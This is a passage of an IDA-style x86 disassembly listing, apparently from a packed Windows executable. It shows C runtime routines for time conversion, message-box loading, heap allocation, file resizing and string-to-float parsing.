; Attributes: bp-based frame sub_4252C6 proc near ; CODE XREF: sub_42511A+99p ; sub_42511A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_425361 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_4252F1 shl esi, 2 mov eax, dword_440078[esi] jmp short loc_4252FA ; --------------------------------------------------------------------------- loc_4252F1: ; CODE XREF: sub_4252C6+1Ej shl esi, 2 mov eax, dword_4400AC[esi] loc_4252FA: ; CODE XREF: sub_4252C6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_425334 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_42533E ; --------------------------------------------------------------------------- loc_425334: ; CODE XREF: sub_4252C6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_42533E: ; CODE XREF: sub_4252C6+6Cj cmp [ebp+arg_10], 5 jnz short loc_42537C cmp [ebp+arg_8], 0 jnz short loc_425352 mov esi, dword_44007C[esi] jmp short loc_425358 ; --------------------------------------------------------------------------- loc_425352: ; CODE XREF: sub_4252C6+82j mov esi, dword_4400B0[esi] loc_425358: ; CODE XREF: sub_4252C6+8Aj cmp ecx, esi jle short loc_42537C sub ecx, 7 jmp short loc_42537C ; --------------------------------------------------------------------------- loc_425361: ; CODE XREF: sub_4252C6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_425372 mov ecx, dword_440078[eax*4] jmp short loc_425379 ; --------------------------------------------------------------------------- loc_425372: ; CODE XREF: sub_4252C6+A1j mov ecx, dword_4400AC[eax*4] loc_425379: ; CODE XREF: sub_4252C6+AAj add ecx, [ebp+arg_18] loc_42537C: ; CODE XREF: sub_4252C6+7Cj ; sub_4252C6+94j ... cmp [ebp+arg_0], 1 jnz short loc_4253AD mov eax, [ebp+arg_1C] mov dword_440064, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_440060, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_440068, eax jmp short loc_425402 ; --------------------------------------------------------------------------- loc_4253AD: ; CODE XREF: sub_4252C6+BAj mov eax, [ebp+arg_1C] mov dword_440074, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43FFD0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_440078, eax jns short loc_4253E5 add eax, 5265C00h dec ecx mov dword_440078, eax jmp short loc_4253F6 ; --------------------------------------------------------------------------- loc_4253E5: ; CODE XREF: sub_4252C6+110j mov edx, 5265C00h cmp eax, edx jl short loc_4253FC sub eax, edx inc ecx mov dword_440078, eax loc_4253F6: ; CODE XREF: sub_4252C6+11Dj mov dword_440074, ecx loc_4253FC: ; CODE XREF: sub_4252C6+126j mov dword_440070, ebx loc_425402: ; CODE XREF: sub_4252C6+E5j pop esi pop ebx pop ebp retn sub_4252C6 endp ; =============== S U B R O U T I N E ======================================= sub_425406 proc near ; CODE XREF: sub_42353D+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_425417 add esp, 0Ch retn sub_425406 endp ; =============== S U B R O U T I N E ======================================= sub_425417 proc near ; CODE XREF: sub_425406+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DFB41[eax], cl jnz short loc_425444 cmp [esp+arg_4], 0 jz short loc_42543D movzx eax, word_43F622[eax*2] and eax, [esp+arg_4] jmp short loc_42543F ; --------------------------------------------------------------------------- loc_42543D: ; CODE XREF: sub_425417+16j xor eax, eax loc_42543F: ; CODE XREF: sub_425417+24j test eax, eax jnz short loc_425444 retn ; --------------------------------------------------------------------------- loc_425444: ; CODE XREF: sub_425417+Fj ; sub_425417+2Aj push 1 pop eax retn sub_425417 endp ; =============== S U B R O U T I N E ======================================= sub_425448 proc near ; CODE XREF: sub_423C91+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DE8B4, ebx push esi push edi jnz short loc_425497 push offset aUser32_dll ; "user32.dll" call dword_4280C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4254CD mov esi, dword_4280C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4DE8B4, eax jz short loc_4254CD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DE8B8, eax call esi ; GetProcAddress mov dword_4DE8BC, eax loc_425497: ; CODE XREF: sub_425448+Bj mov eax, dword_4DE8B8 test eax, eax jz short loc_4254B6 call eax ; GetActiveWindow mov ebx, eax test ebx, ebx jz short loc_4254B6 mov eax, dword_4DE8BC test eax, eax jz short loc_4254B6 push ebx call eax ; GetLastActivePopup mov ebx, eax loc_4254B6: ; CODE XREF: sub_425448+56j ; sub_425448+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DE8B4 ; MessageBoxA loc_4254C9: ; CODE XREF: sub_425448+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4254CD: ; CODE XREF: sub_425448+1Cj ; sub_425448+33j xor eax, eax jmp short loc_4254C9 sub_425448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4254D1 proc near ; CODE XREF: sub_423FFE+22p ; sub_423FFE+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4254F2 test esi, esi jnz short loc_4254EC push 1 pop esi loc_4254EC: ; CODE XREF: sub_4254D1+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4254F2: ; CODE XREF: sub_4254D1+12j ; sub_4254D1+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425551 mov eax, dword_4DFC68 cmp eax, 3 jnz short loc_42551D mov eax, [ebp+arg_0] cmp eax, dword_4DFC60 ja short loc_42553C push eax call sub_41E86B mov edi, eax pop ecx test edi, edi jnz short loc_425567 jmp short loc_42553C ; --------------------------------------------------------------------------- loc_42551D: ; CODE XREF: sub_4254D1+30j cmp eax, 2 jnz short loc_42553C cmp esi, dword_43F614 ja short loc_42553C mov eax, esi shr eax, 4 push eax call sub_41F30E mov edi, eax pop ecx test edi, edi jnz short loc_42557B loc_42553C: ; CODE XREF: sub_4254D1+3Bj ; sub_4254D1+4Aj ... push esi push 8 push dword_4DFC64 call dword_428154 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_425575 loc_425551: ; CODE XREF: sub_4254D1+26j cmp dword_4DE64C, 0 jz short loc_425575 push esi call sub_41F9B2 test eax, eax pop ecx jz short loc_42557E jmp short loc_4254F2 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4254D1+48j push [ebp+arg_0] loc_42556A: ; CODE XREF: sub_4254D1+ABj push 0 push edi call sub_41BC00 add esp, 0Ch loc_425575: ; CODE XREF: sub_4254D1+7Ej ; sub_4254D1+87j mov eax, edi loc_425577: ; CODE XREF: sub_4254D1+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42557B: ; CODE XREF: sub_4254D1+69j push esi jmp short loc_42556A ; --------------------------------------------------------------------------- loc_42557E: ; CODE XREF: sub_4254D1+92j xor eax, eax jmp short loc_425577 sub_4254D1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240A3 loc_425582: ; CODE XREF: sub_4240A3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DF900, esi jle short loc_4255D5 loc_425591: ; CODE XREF: sub_4240A3+1530j mov eax, dword_4DE8E8 mov eax, [eax+esi*4] test eax, eax jz short loc_4255CC test byte ptr [eax+0Ch], 83h jz short loc_4255B0 push eax call sub_41B6CB cmp eax, 0FFFFFFFFh pop ecx jz short loc_4255B0 inc edi loc_4255B0: ; CODE XREF: sub_4240A3+14FEj ; sub_4240A3+150Aj cmp esi, 14h jl short loc_4255CC mov eax, dword_4DE8E8 push dword ptr [eax+esi*4] call sub_41B721 mov eax, dword_4DE8E8 pop ecx and dword ptr [eax+esi*4], 0 loc_4255CC: ; CODE XREF: sub_4240A3+14F8j ; sub_4240A3+1510j inc esi cmp esi, dword_4DF900 jl short loc_425591 loc_4255D5: ; CODE XREF: sub_4240A3+14ECj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4240A3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4255DA proc near ; CODE XREF: sub_4240FB+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C190 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DFA20 jnb loc_42570F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DF920[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42570F push 1 push esi push ebx call sub_422DCB add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425719 push 2 push esi push ebx call sub_422DCB add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425719 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4256BC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BC00 push 8000h push ebx call sub_426214 add esp, 14h mov [ebp+arg_4], eax loc_425670: ; CODE XREF: sub_4255DA+BDj mov eax, 1000h cmp edi, eax jge short loc_42567B mov eax, edi loc_42567B: ; CODE XREF: sub_4255DA+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_422FBD add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_425699 sub edi, eax test edi, edi jle short loc_4256AF jmp short loc_425670 ; --------------------------------------------------------------------------- loc_425699: ; CODE XREF: sub_4255DA+B5j cmp dword_4DE5C8, 5 jnz short loc_4256AC mov dword_4DE5C4, 0Dh loc_4256AC: ; CODE XREF: sub_4255DA+C6j or esi, 0FFFFFFFFh loc_4256AF: ; CODE XREF: sub_4255DA+BBj push [ebp+arg_4] push ebx call sub_426214 pop ecx pop ecx jmp short loc_4256FC ; --------------------------------------------------------------------------- loc_4256BC: ; CODE XREF: sub_4255DA+71j jge short loc_4256FC push 0 push [ebp+arg_4] push ebx call sub_422DCB push ebx call sub_423F6A add esp, 10h push eax call dword_428010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4256FC mov dword_4DE5C4, 0Dh call dword_428094 ; RtlGetLastWin32Error mov dword_4DE5C8, eax loc_4256FC: ; CODE XREF: sub_4255DA+E0j ; sub_4255DA:loc_4256BCj ... push 0 push [ebp+arg_0] push ebx call sub_422DCB add esp, 0Ch mov eax, esi pop edi jmp short loc_42571C ; --------------------------------------------------------------------------- loc_42570F: ; CODE XREF: sub_4255DA+1Aj ; sub_4255DA+36j mov dword_4DE5C4, 9 loc_425719: ; CODE XREF: sub_4255DA+4Ej ; sub_4255DA+63j or eax, 0FFFFFFFFh loc_42571C: ; CODE XREF: sub_4255DA+133j pop esi pop ebx leave retn sub_4255DA endp ; =============== S U B R O U T I N E ======================================= sub_425720 proc near ; CODE XREF: sub_42489F+2Bp ; sub_42489F+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425736 cmp ecx, esi jnb short loc_425739 loc_425736: ; CODE XREF: sub_425720+10j push 1 pop eax loc_425739: ; CODE XREF: sub_425720+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425720 endp ; =============== S U B R O U T I N E ======================================= sub_425741 proc near ; CODE XREF: sub_4257FA+40p ; sub_4257FA+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425720 add esp, 0Ch test eax, eax jz short loc_425773 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425720 add esp, 0Ch test eax, eax jz short loc_425773 inc dword ptr [esi+8] loc_425773: ; CODE XREF: sub_425741+19j ; sub_425741+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425720 add esp, 0Ch test eax, eax jz short loc_42578B inc dword ptr [esi+8] loc_42578B: ; CODE XREF: sub_425741+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425720 add esp, 0Ch pop edi pop esi retn sub_425741 endp ; =============== S U B R O U T I N E ======================================= sub_42579F proc near ; CODE XREF: sub_4257FA+30p ; sub_4257FA+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_42579F endp ; =============== S U B R O U T I N E ======================================= sub_4257CD proc near ; CODE XREF: sub_425D92+1C8p ; sub_42628A+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4257CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4257FA proc near ; CODE XREF: sub_4258C1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42586E push edi mov [ebp+arg_8], eax loc_425821: ; CODE XREF: sub_4257FA+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_42579F push ebx call sub_42579F lea eax, [ebp+var_10] push eax push ebx call sub_425741 push ebx call sub_42579F mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425741 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425821 xor edx, edx pop edi loc_42586E: ; CODE XREF: sub_4257FA+21j ; sub_4257FA+9Fj cmp [ebx+8], edx jnz short loc_42589B mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42586E ; --------------------------------------------------------------------------- loc_42589B: ; CODE XREF: sub_4257FA+77j mov esi, 8000h loc_4258A0: ; CODE XREF: sub_4257FA+B9j test [ebx+8], esi jnz short loc_4258B5 push ebx call sub_42579F add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4258A0 ; --------------------------------------------------------------------------- loc_4258B5: ; CODE XREF: sub_4257FA+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_4257FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4258C1 proc near ; CODE XREF: sub_424BE8+17p ; sub_424C15+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_4258FC: ; CODE XREF: sub_4258C1+52j mov cl, [edi] cmp cl, 20h jz short loc_425912 cmp cl, 9 jz short loc_425912 cmp cl, 0Ah jz short loc_425912 cmp cl, 0Dh jnz short loc_425915 loc_425912: ; CODE XREF: sub_4258C1+40j ; sub_4258C1+45j ... inc edi jmp short loc_4258FC ; --------------------------------------------------------------------------- loc_425915: ; CODE XREF: sub_4258C1+4Fj push 4 pop esi loc_425918: ; CODE XREF: sub_4258C1+AEj ; sub_4258C1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_425B9B ; default ; jumptable 00425924 case 10 jmp off_425D62[eax*4] ; switch jump loc_42592B: ; DATA XREF: .XPack0:off_425D62o cmp bl, 31h ; jumptable 00425924 case 0 jl short loc_42593C cmp bl, 39h jg short loc_42593C loc_425935: ; CODE XREF: sub_4258C1+C4j ; sub_4258C1+118j push 3 jmp loc_425B59 ; --------------------------------------------------------------------------- loc_42593C: ; CODE XREF: sub_4258C1+6Dj ; sub_4258C1+72j cmp bl, byte_43F828 jnz short loc_42594B loc_425944: ; CODE XREF: sub_4258C1+124j push 5 jmp loc_425B91 ; --------------------------------------------------------------------------- loc_42594B: ; CODE XREF: sub_4258C1+81j movsx eax, bl sub eax, 2Bh jz short loc_425971 dec eax dec eax jz short loc_425965 sub eax, 3 jnz loc_425C34 jmp loc_4259F4 ; --------------------------------------------------------------------------- loc_425965: ; CODE XREF: sub_4258C1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425918 ; --------------------------------------------------------------------------- loc_425971: ; CODE XREF: sub_4258C1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425918 ; --------------------------------------------------------------------------- loc_42597A: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp bl, 31h ; jumptable 00425924 case 1 mov [ebp+var_10], edx jl short loc_425987 cmp bl, 39h jle short loc_425935 loc_425987: ; CODE XREF: sub_4258C1+BFj cmp bl, byte_43F828 jz loc_425A4F cmp bl, 2Bh jz short loc_4259C9 cmp bl, 2Dh jz short loc_4259C9 cmp bl, 30h jz short loc_4259F4 loc_4259A2: ; CODE XREF: sub_4258C1+207j cmp bl, 43h jle loc_425C34 cmp bl, 45h jle short loc_4259C2 cmp bl, 63h jle loc_425C34 cmp bl, 65h jg loc_425C34 loc_4259C2: ; CODE XREF: sub_4258C1+EDj push 6 jmp loc_425B91 ; --------------------------------------------------------------------------- loc_4259C9: ; CODE XREF: sub_4258C1+D5j ; sub_4258C1+DAj ... dec edi push 0Bh jmp loc_425B91 ; --------------------------------------------------------------------------- loc_4259D1: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp bl, 31h ; jumptable 00425924 case 2 jl short loc_4259DF cmp bl, 39h jle loc_425935 loc_4259DF: ; CODE XREF: sub_4258C1+113j cmp bl, byte_43F828 jz loc_425944 cmp bl, 30h jnz loc_425BA9 loc_4259F4: ; CODE XREF: sub_4258C1+9Fj ; sub_4258C1+DFj mov eax, edx jmp loc_425918 ; --------------------------------------------------------------------------- loc_4259FB: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o mov [ebp+var_10], edx ; jumptable 00425924 case 3 loc_4259FE: ; CODE XREF: sub_4258C1+184j cmp dword_43F824, edx jle short loc_425A17 movzx eax, bl push esi push eax call sub_41FBB5 pop ecx pop ecx push 1 pop edx jmp short loc_425A25 ; --------------------------------------------------------------------------- loc_425A17: ; CODE XREF: sub_4258C1+143j mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425A25: ; CODE XREF: sub_4258C1+154j test eax, eax jz short loc_425A47 cmp [ebp+var_4], 19h jnb short loc_425A3F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425A42 ; --------------------------------------------------------------------------- loc_425A3F: ; CODE XREF: sub_4258C1+16Cj inc [ebp+var_8] loc_425A42: ; CODE XREF: sub_4258C1+17Cj mov bl, [edi] inc edi jmp short loc_4259FE ; --------------------------------------------------------------------------- loc_425A47: ; CODE XREF: sub_4258C1+166j cmp bl, byte_43F828 jnz short loc_425AB6 loc_425A4F: ; CODE XREF: sub_4258C1+CCj mov eax, esi jmp loc_425918 ; --------------------------------------------------------------------------- loc_425A56: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp [ebp+var_4], 0 ; jumptable 00425924 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_425A6F loc_425A62: ; CODE XREF: sub_4258C1+1ACj cmp bl, 30h jnz short loc_425A6F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425A62 ; --------------------------------------------------------------------------- loc_425A6F: ; CODE XREF: sub_4258C1+19Fj ; sub_4258C1+1A4j ... cmp dword_43F824, edx jle short loc_425A88 movzx eax, bl push esi push eax call sub_41FBB5 pop ecx pop ecx push 1 pop edx jmp short loc_425A96 ; --------------------------------------------------------------------------- loc_425A88: ; CODE XREF: sub_4258C1+1B4j mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425A96: ; CODE XREF: sub_4258C1+1C5j test eax, eax jz short loc_425AB6 cmp [ebp+var_4], 19h jnb short loc_425AB1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_425AB1: ; CODE XREF: sub_4258C1+1DDj mov bl, [edi] inc edi jmp short loc_425A6F ; --------------------------------------------------------------------------- loc_425AB6: ; CODE XREF: sub_4258C1+18Cj ; sub_4258C1+1D7j cmp bl, 2Bh jz loc_4259C9 cmp bl, 2Dh jz loc_4259C9 jmp loc_4259A2 ; --------------------------------------------------------------------------- loc_425ACD: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp dword_43F824, edx ; jumptable 00425924 case 5 mov [ebp+var_24], edx jle short loc_425AE9 movzx eax, bl push esi push eax call sub_41FBB5 pop ecx pop ecx push 1 pop edx jmp short loc_425AF7 ; --------------------------------------------------------------------------- loc_425AE9: ; CODE XREF: sub_4258C1+215j mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425AF7: ; CODE XREF: sub_4258C1+226j test eax, eax jz loc_425BA9 mov eax, esi jmp short loc_425B5A ; --------------------------------------------------------------------------- loc_425B03: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o lea ecx, [edi-2] ; jumptable 00425924 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425B13 cmp bl, 39h jle short loc_425B57 loc_425B13: ; CODE XREF: sub_4258C1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_425B8F dec eax dec eax jz short loc_425B83 sub eax, 3 jnz loc_425C37 loc_425B28: ; CODE XREF: sub_4258C1+2A4j push 8 jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B2C: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o mov [ebp+var_20], edx ; jumptable 00425924 case 8 loc_425B2F: ; CODE XREF: sub_4258C1+276j cmp bl, 30h jnz short loc_425B39 mov bl, [edi] inc edi jmp short loc_425B2F ; --------------------------------------------------------------------------- loc_425B39: ; CODE XREF: sub_4258C1+271j cmp bl, 31h jl loc_425C34 cmp bl, 39h jg loc_425C34 jmp short loc_425B57 ; --------------------------------------------------------------------------- loc_425B4D: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp bl, 31h ; jumptable 00425924 case 7 jl short loc_425B60 cmp bl, 39h jg short loc_425B60 loc_425B57: ; CODE XREF: sub_4258C1+250j ; sub_4258C1+28Aj push 9 loc_425B59: ; CODE XREF: sub_4258C1+76j pop eax loc_425B5A: ; CODE XREF: sub_4258C1+240j dec edi jmp loc_425918 ; --------------------------------------------------------------------------- loc_425B60: ; CODE XREF: sub_4258C1+28Fj ; sub_4258C1+294j cmp bl, 30h jnz short loc_425BA9 jmp short loc_425B28 ; --------------------------------------------------------------------------- loc_425B67: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o cmp [ebp+arg_18], 0 ; jumptable 00425924 case 11 jz short loc_425B97 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_425B8F dec eax dec eax jnz loc_425C37 loc_425B83: ; CODE XREF: sub_4258C1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425918 ; --------------------------------------------------------------------------- loc_425B8F: ; CODE XREF: sub_4258C1+258j ; sub_4258C1+2B8j push 7 loc_425B91: ; CODE XREF: sub_4258C1+85j ; sub_4258C1+103j ... pop eax jmp loc_425918 ; --------------------------------------------------------------------------- loc_425B97: ; CODE XREF: sub_4258C1+2AAj push 0Ah dec edi pop eax loc_425B9B: ; CODE XREF: sub_4258C1+5Dj ; sub_4258C1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425924 case 10 jz loc_425C39 jmp loc_425918 ; --------------------------------------------------------------------------- loc_425BA9: ; CODE XREF: sub_4258C1+12Dj ; sub_4258C1+238j ... mov edi, [ebp+arg_8] jmp loc_425C39 ; --------------------------------------------------------------------------- loc_425BB1: ; CODE XREF: sub_4258C1+63j ; DATA XREF: .XPack0:off_425D62o mov [ebp+var_20], 1 ; jumptable 00425924 case 9 xor esi, esi loc_425BBA: ; CODE XREF: sub_4258C1+339j cmp dword_43F824, 1 jle short loc_425BD2 movzx eax, bl push 4 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_425BE1 ; --------------------------------------------------------------------------- loc_425BD2: ; CODE XREF: sub_4258C1+300j mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425BE1: ; CODE XREF: sub_4258C1+30Fj test eax, eax jz short loc_425C01 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425BFC mov bl, [edi] inc edi jmp short loc_425BBA ; --------------------------------------------------------------------------- loc_425BFC: ; CODE XREF: sub_4258C1+334j mov esi, 1451h loc_425C01: ; CODE XREF: sub_4258C1+322j mov [ebp+var_1C], esi loc_425C04: ; CODE XREF: sub_4258C1+371j cmp dword_43F824, 1 jle short loc_425C1C movzx eax, bl push 4 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_425C2B ; --------------------------------------------------------------------------- loc_425C1C: ; CODE XREF: sub_4258C1+34Aj mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425C2B: ; CODE XREF: sub_4258C1+359j test eax, eax jz short loc_425C34 mov bl, [edi] inc edi jmp short loc_425C04 ; --------------------------------------------------------------------------- loc_425C34: ; CODE XREF: sub_4258C1+99j ; sub_4258C1+E4j ... dec edi jmp short loc_425C39 ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_4258C1+261j ; sub_4258C1+2BCj mov edi, ecx loc_425C39: ; CODE XREF: sub_4258C1+2DDj ; sub_4258C1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425D21 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425C65 cmp [ebp+var_45], 5 jl short loc_425C59 inc [ebp+var_45] loc_425C59: ; CODE XREF: sub_4258C1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425C68 ; --------------------------------------------------------------------------- loc_425C65: ; CODE XREF: sub_4258C1+38Dj mov eax, [ebp+var_C] loc_425C68: ; CODE XREF: sub_4258C1+3A2j cmp [ebp+var_4], 0 jbe loc_425D17 loc_425C72: ; CODE XREF: sub_4258C1+3BDj dec eax cmp byte ptr [eax], 0 jnz short 